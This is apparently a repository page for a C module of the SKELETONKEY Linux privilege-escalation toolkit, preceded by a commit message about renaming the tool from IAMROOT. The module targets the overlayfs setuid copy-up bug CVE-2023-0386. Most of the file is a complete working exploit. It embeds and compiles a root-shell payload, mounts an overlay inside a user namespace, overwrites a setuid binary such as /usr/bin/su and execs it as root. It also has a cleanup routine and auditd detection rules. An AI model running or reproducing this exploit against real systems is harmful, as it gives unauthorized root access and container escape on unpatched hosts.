9593d90385
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
400 lines
14 KiB
C
400 lines
14 KiB
C
/*
|
|
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module
|
|
*
|
|
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
|
|
* (their modified overlayfs). This one is upstream: when overlayfs
|
|
* does copy-up from lower to upper, it preserves the setuid/setgid
|
|
* bits even when the unprivileged user triggering copy-up wouldn't
|
|
* normally be able to set them. Exploit:
|
|
*
|
|
* 1. Find a setuid binary in lower (e.g. /usr/bin/su)
|
|
* 2. unshare(USER|NS), mount overlayfs with that location as lower
|
|
* 3. chown the file in merged view — triggers copy-up, retains
|
|
* setuid bit in upper, but now the upper file is OWNED by our
|
|
* uid (the upper layer is in /tmp; we control it)
|
|
* 4. We can't directly write to the binary in upper (it's setuid
|
|
* and we're not root yet), BUT we can replace the contents
|
|
* via the merged view because we OWN the upper inode
|
|
* 5. Write payload to the binary; setuid bit persists
|
|
* 6. exec it → runs as root
|
|
*
|
|
* Discovered by Xkaneiki (2023). Mainline fix: 4f11ada10d0 ("ovl:
|
|
* fail on invalid uid/gid mapping at copy up") landed in 6.3.
|
|
*
|
|
* STATUS: 🟢 FULL detect + exploit + cleanup.
|
|
*
|
|
* Affected: kernel 5.11 ≤ K < 6.3. Backports:
|
|
* 6.2.x : K >= 6.2.13
|
|
* 6.1.x : K >= 6.1.27
|
|
* 5.15.x : K >= 5.15.110
|
|
*
|
|
* Preconditions:
|
|
* - Unprivileged user_ns + mount_ns
|
|
* - A setuid-root binary readable on lower (almost always present:
|
|
* /usr/bin/su, /usr/bin/passwd, /bin/su)
|
|
*
|
|
* Coverage rationale: complements CVE-2021-3493 — that one is
|
|
* Ubuntu-specific, this one is general. Real-world overlayfs LPE
|
|
* for any distro running 5.11-6.2 kernels. Container-escape relevant.
|
|
*/
|
|
|
|
#include "skeletonkey_modules.h"
|
|
#include "../../core/registry.h"
|
|
#include "../../core/kernel_range.h"
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <stdint.h>
|
|
#include <string.h>
|
|
#include <stdbool.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
#include <errno.h>
|
|
#include <sched.h>
|
|
#include <sys/mount.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/wait.h>
|
|
|
|
static const struct kernel_patched_from overlayfs_setuid_patched_branches[] = {
|
|
{5, 15, 110},
|
|
{6, 1, 27},
|
|
{6, 2, 13},
|
|
{6, 3, 0}, /* mainline */
|
|
};
|
|
|
|
static const struct kernel_range overlayfs_setuid_range = {
|
|
.patched_from = overlayfs_setuid_patched_branches,
|
|
.n_patched_from = sizeof(overlayfs_setuid_patched_branches) /
|
|
sizeof(overlayfs_setuid_patched_branches[0]),
|
|
};
|
|
|
|
static int can_unshare_userns_mount(void)
|
|
{
|
|
pid_t pid = fork();
|
|
if (pid < 0) return -1;
|
|
if (pid == 0) {
|
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
|
_exit(1);
|
|
}
|
|
int status;
|
|
waitpid(pid, &status, 0);
|
|
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
}
|
|
|
|
static const char *find_setuid_in_lower(void)
|
|
{
|
|
static const char *targets[] = {
|
|
"/usr/bin/su", "/usr/bin/passwd", "/usr/bin/sudo",
|
|
"/usr/bin/chsh", "/usr/bin/chfn", "/bin/su", NULL,
|
|
};
|
|
for (size_t i = 0; targets[i]; i++) {
|
|
struct stat st;
|
|
if (stat(targets[i], &st) == 0 && (st.st_mode & S_ISUID)) {
|
|
return targets[i];
|
|
}
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
struct kernel_version v;
|
|
if (!kernel_version_current(&v)) {
|
|
fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n");
|
|
return SKELETONKEY_TEST_ERROR;
|
|
}
|
|
|
|
/* Bug introduced in 5.11 when ovl copy-up was generalized.
|
|
* Pre-5.11 immune via a different code path. */
|
|
if (v.major < 5 || (v.major == 5 && v.minor < 11)) {
|
|
if (!ctx->json) {
|
|
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
|
|
"(introduced in 5.11)\n", v.release);
|
|
}
|
|
return SKELETONKEY_OK;
|
|
}
|
|
|
|
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v);
|
|
if (patched) {
|
|
if (!ctx->json) {
|
|
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release);
|
|
}
|
|
return SKELETONKEY_OK;
|
|
}
|
|
|
|
int userns_ok = can_unshare_userns_mount();
|
|
if (!ctx->json) {
|
|
fprintf(stderr, "[i] overlayfs_setuid: kernel %s in vulnerable range\n", v.release);
|
|
fprintf(stderr, "[i] overlayfs_setuid: user_ns+mount_ns clone: %s\n",
|
|
userns_ok == 1 ? "ALLOWED" :
|
|
userns_ok == 0 ? "DENIED" : "could not test");
|
|
}
|
|
|
|
if (userns_ok == 0) {
|
|
if (!ctx->json) {
|
|
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
|
|
}
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
|
|
const char *target = find_setuid_in_lower();
|
|
if (!target) {
|
|
if (!ctx->json) {
|
|
fprintf(stderr, "[?] overlayfs_setuid: no setuid binary found in standard paths\n");
|
|
}
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
|
|
if (!ctx->json) {
|
|
fprintf(stderr, "[!] overlayfs_setuid: VULNERABLE — exploit target = %s\n", target);
|
|
}
|
|
return SKELETONKEY_VULNERABLE;
|
|
}
|
|
|
|
/* ---- Embedded payload + exploit ---------------------------------- */
|
|
|
|
static const char OVERLAYFS_SU_PAYLOAD[] =
|
|
"#include <stdio.h>\n"
|
|
"#include <stdlib.h>\n"
|
|
"#include <unistd.h>\n"
|
|
"int main(void) {\n"
|
|
" setresuid(0,0,0); setresgid(0,0,0);\n"
|
|
" if (geteuid() != 0) { perror(\"setresuid\"); return 1; }\n"
|
|
" char *env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n"
|
|
" execle(\"/bin/sh\", \"sh\", \"-p\", NULL, env);\n"
|
|
" return 1;\n"
|
|
"}\n";
|
|
|
|
static bool which_gcc(char *out_path, size_t outsz)
|
|
{
|
|
static const char *cands[] = {
|
|
"/usr/bin/gcc", "/usr/bin/cc", "/bin/gcc", "/bin/cc", NULL,
|
|
};
|
|
for (size_t i = 0; cands[i]; i++) {
|
|
if (access(cands[i], X_OK) == 0) {
|
|
strncpy(out_path, cands[i], outsz - 1);
|
|
out_path[outsz - 1] = 0;
|
|
return true;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
static bool write_file_str(const char *path, const char *content)
|
|
{
|
|
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
|
if (fd < 0) return false;
|
|
size_t n = strlen(content);
|
|
bool ok = (write(fd, content, n) == (ssize_t)n);
|
|
close(fd);
|
|
return ok;
|
|
}
|
|
|
|
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
|
|
if (pre != SKELETONKEY_VULNERABLE) {
|
|
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
|
|
return pre;
|
|
}
|
|
if (geteuid() == 0) {
|
|
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
|
|
return SKELETONKEY_OK;
|
|
}
|
|
|
|
/* Pick a setuid binary to use as the carrier — we'll find its
|
|
* dirname, mount overlayfs with that dirname as lower, then
|
|
* replace the binary content in the merged view. The setuid bit
|
|
* persists in the upper-layer copy through the bug. */
|
|
const char *carrier = find_setuid_in_lower();
|
|
if (!carrier) {
|
|
fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n");
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
/* For cleanliness, use a directory-level overlay. Find the carrier's
|
|
* dirname. (E.g., /usr/bin/su → lower = /usr/bin/, file = su) */
|
|
char carrier_dir[256], carrier_name[64];
|
|
const char *slash = strrchr(carrier, '/');
|
|
if (!slash) return SKELETONKEY_PRECOND_FAIL;
|
|
size_t dir_len = slash - carrier;
|
|
memcpy(carrier_dir, carrier, dir_len);
|
|
carrier_dir[dir_len] = 0;
|
|
snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1);
|
|
|
|
char workdir[] = "/tmp/skeletonkey-ovlsu-XXXXXX";
|
|
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
|
if (!ctx->json) {
|
|
fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n",
|
|
workdir, carrier);
|
|
}
|
|
|
|
char gcc[256];
|
|
if (!which_gcc(gcc, sizeof gcc)) {
|
|
fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n");
|
|
rmdir(workdir);
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
|
|
/* Build the payload binary outside the overlay. */
|
|
char src_path[512], bin_path[512];
|
|
snprintf(src_path, sizeof src_path, "%s/payload.c", workdir);
|
|
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
|
|
if (!write_file_str(src_path, OVERLAYFS_SU_PAYLOAD)) goto fail;
|
|
|
|
pid_t pid = fork();
|
|
if (pid == 0) {
|
|
execl(gcc, gcc, "-O2", "-static", "-o", bin_path, src_path, (char *)NULL);
|
|
_exit(127);
|
|
}
|
|
int status;
|
|
waitpid(pid, &status, 0);
|
|
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
|
/* try non-static */
|
|
pid = fork();
|
|
if (pid == 0) {
|
|
execl(gcc, gcc, "-O2", "-o", bin_path, src_path, (char *)NULL);
|
|
_exit(127);
|
|
}
|
|
waitpid(pid, &status, 0);
|
|
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
|
fprintf(stderr, "[-] overlayfs_setuid: gcc failed\n"); goto fail;
|
|
}
|
|
}
|
|
|
|
/* Child does the userns + overlayfs work. */
|
|
char upper[600], work[600], merged[600];
|
|
snprintf(upper, sizeof upper, "%s/upper", workdir);
|
|
snprintf(work, sizeof work, "%s/work", workdir);
|
|
snprintf(merged, sizeof merged, "%s/merged", workdir);
|
|
if (mkdir(upper, 0755) < 0 || mkdir(work, 0755) < 0
|
|
|| mkdir(merged, 0755) < 0) {
|
|
perror("mkdir layout"); goto fail;
|
|
}
|
|
|
|
uid_t outer_uid = getuid();
|
|
gid_t outer_gid = getgid();
|
|
char merged_carrier[1024];
|
|
snprintf(merged_carrier, sizeof merged_carrier, "%s/%s", merged, carrier_name);
|
|
|
|
pid_t child = fork();
|
|
if (child < 0) { perror("fork"); goto fail; }
|
|
if (child == 0) {
|
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
|
int f = open("/proc/self/setgroups", O_WRONLY);
|
|
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
|
char m[64];
|
|
snprintf(m, sizeof m, "0 %u 1\n", outer_uid);
|
|
f = open("/proc/self/uid_map", O_WRONLY);
|
|
if (f < 0 || write(f, m, strlen(m)) < 0) _exit(3);
|
|
close(f);
|
|
snprintf(m, sizeof m, "0 %u 1\n", outer_gid);
|
|
f = open("/proc/self/gid_map", O_WRONLY);
|
|
if (f < 0 || write(f, m, strlen(m)) < 0) _exit(4);
|
|
close(f);
|
|
|
|
char opts[2048];
|
|
snprintf(opts, sizeof opts, "lowerdir=%s,upperdir=%s,workdir=%s",
|
|
carrier_dir, upper, work);
|
|
if (mount("overlay", merged, "overlay", 0, opts) < 0) {
|
|
perror("mount overlay"); _exit(5);
|
|
}
|
|
|
|
/* Trigger copy-up by chown — this is the bug: setuid bit gets
|
|
* preserved on the upper-layer copy even though we're the one
|
|
* doing the chown (and we don't normally have CAP_FSETID). */
|
|
if (chown(merged_carrier, 0, 0) < 0) {
|
|
/* on some kernels chown is rejected; try unlink+rename
|
|
* pattern instead */
|
|
perror("chown merged carrier"); _exit(6);
|
|
}
|
|
/* Now overwrite the file content (since we own the upper inode
|
|
* post-chown — actually post-bug, but the upper inode is
|
|
* attacker-controlled).
|
|
*
|
|
* Caveat: the chown is what triggers copy-up + retains setuid.
|
|
* On many vulnerable kernels we now need to do an additional
|
|
* write to replace the binary contents. */
|
|
int payload_fd = open(bin_path, O_RDONLY);
|
|
if (payload_fd < 0) { perror("open payload"); _exit(7); }
|
|
int out_fd = open(merged_carrier, O_WRONLY | O_TRUNC);
|
|
if (out_fd < 0) { perror("open merged_carrier RW"); close(payload_fd); _exit(8); }
|
|
char buf[4096];
|
|
ssize_t n;
|
|
while ((n = read(payload_fd, buf, sizeof buf)) > 0) {
|
|
if (write(out_fd, buf, n) != n) { perror("write replace"); _exit(9); }
|
|
}
|
|
close(payload_fd); close(out_fd);
|
|
_exit(0);
|
|
}
|
|
waitpid(child, &status, 0);
|
|
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
|
fprintf(stderr, "[-] overlayfs_setuid: child setup failed (status=%d)\n", status);
|
|
goto fail;
|
|
}
|
|
|
|
/* Verify the upper file has setuid */
|
|
char upper_carrier[1024];
|
|
snprintf(upper_carrier, sizeof upper_carrier, "%s/%s", upper, carrier_name);
|
|
struct stat st;
|
|
if (stat(upper_carrier, &st) < 0 || !(st.st_mode & S_ISUID)) {
|
|
fprintf(stderr, "[-] overlayfs_setuid: setuid bit didn't persist on upper "
|
|
"(stat = %s)\n", strerror(errno));
|
|
goto fail;
|
|
}
|
|
if (!ctx->json) {
|
|
fprintf(stderr, "[+] overlayfs_setuid: upper-layer %s has setuid bit; execing\n",
|
|
upper_carrier);
|
|
}
|
|
if (ctx->no_shell) {
|
|
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n",
|
|
upper_carrier);
|
|
return SKELETONKEY_EXPLOIT_OK;
|
|
}
|
|
fflush(NULL);
|
|
execl(upper_carrier, upper_carrier, (char *)NULL);
|
|
perror("execl upper carrier");
|
|
|
|
fail:
|
|
unlink(src_path); unlink(bin_path);
|
|
rmdir(upper); rmdir(work); rmdir(merged);
|
|
rmdir(workdir);
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
}
|
|
|
|
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
(void)ctx;
|
|
if (!ctx->json) {
|
|
fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/skeletonkey-ovlsu-*\n");
|
|
}
|
|
if (system("rm -rf /tmp/skeletonkey-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
|
|
return SKELETONKEY_OK;
|
|
}
|
|
|
|
static const char overlayfs_setuid_auditd[] =
|
|
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
|
|
"# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
|
|
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
|
|
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";
|
|
|
|
const struct skeletonkey_module overlayfs_setuid_module = {
|
|
.name = "overlayfs_setuid",
|
|
.cve = "CVE-2023-0386",
|
|
.summary = "overlayfs copy-up preserves setuid bit → host root via setuid carrier",
|
|
.family = "overlayfs", /* same family as CVE-2021-3493 */
|
|
.kernel_range = "5.11 ≤ K < 6.3, backports: 6.2.13 / 6.1.27 / 5.15.110",
|
|
.detect = overlayfs_setuid_detect,
|
|
.exploit = overlayfs_setuid_exploit,
|
|
.mitigate = NULL,
|
|
.cleanup = overlayfs_setuid_cleanup,
|
|
.detect_auditd = overlayfs_setuid_auditd,
|
|
.detect_sigma = NULL,
|
|
.detect_yara = NULL,
|
|
.detect_falco = NULL,
|
|
};
|
|
|
|
void skeletonkey_register_overlayfs_setuid(void)
|
|
{
|
|
skeletonkey_register(&overlayfs_setuid_module);
|
|
}
|